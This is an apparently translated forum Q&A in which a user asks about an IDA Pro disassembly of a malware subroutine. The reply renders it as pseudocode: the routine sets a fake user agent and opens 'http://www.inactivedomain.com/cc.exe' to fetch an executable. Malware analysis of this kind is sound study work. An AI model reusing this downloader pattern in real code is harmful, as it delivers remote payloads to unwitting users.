无法分析给定内存位置中函数的性质

时间:2014-10-31 21:17:03

标签: malware disassembly ida

我试图分析可执行文件中的恶意软件。我试图在子程序sub_401040处分析函数的性质。当我在IDA Pro中运行它时,我得到的汇编代码看起来就像下面发布的汇编代码。但是,我对这个功能到底发生了什么感到有些困惑。任何帮助将受到高度赞赏!

我可以理解子例程401040只有一个参数。但我失去了试图了解其功能或参数的使用方式。

sub_401040 proc near

Buffer= dword ptr -230h
var_22C= byte ptr -22Ch
hFile= dword ptr -30h
hInternet= dword ptr -2Ch
szAgent= byte ptr -28h
dwNumberOfBytesRead= dword ptr -8
var_4= dword ptr -4
arg_0= dword ptr  8

push    ebp
mov     ebp, esp
sub     esp, 230h
mov     eax, [ebp+arg_0]
push    eax
push    offset aInternetExplor ; "Internet Explorer 7.50/lol%d"
lea     ecx, [ebp+szAgent]
push    ecx             ; char *
call    _sprintf
add     esp, 0Ch
push    0               ; dwFlags
push    0               ; lpszProxyBypass
push    0               ; lpszProxy
push    0               ; dwAccessType
lea     edx, [ebp+szAgent]
push    edx             ; lpszAgent
call    ds:InternetOpenA
mov     [ebp+hInternet], eax
push    0               ; dwContext
push    0               ; dwFlags
push    0               ; dwHeadersLength
push    0               ; lpszHeaders
push    offset szUrl    ; "http://www.inactivedomain.com/cc.exe"
mov     eax, [ebp+hInternet]
push    eax             ; hInternet
call    ds:InternetOpenUrlA
mov     [ebp+hFile], eax
cmp     [ebp+hFile], 0
jnz     short loc_4010B1

1 个答案:

答案 0 :(得分:1)

基本上,它正在这样做(psueudocode):

sprintf(szAgent, "Internet Explorer 7.50/lol%d", arg0);

// http://msdn.microsoft.com/en-us/library/windows/desktop/aa385096(v=vs.85).aspx
// Initializes an application's use of the WinINet functions.
HINTERNET hInternet = InternetOpen(szAgent, 0, 0, 0, 0);

// http://msdn.microsoft.com/en-us/library/windows/desktop/aa385098(v=vs.85).aspx
// Opens a resource specified by a complete FTP or HTTP URL.
HINTERNET Return = InternetOpenUrl(hInternet, "http://www.inactivedomain.com/cc.exe", 0, 0, 0, 0 );

if (!Return)   // etc...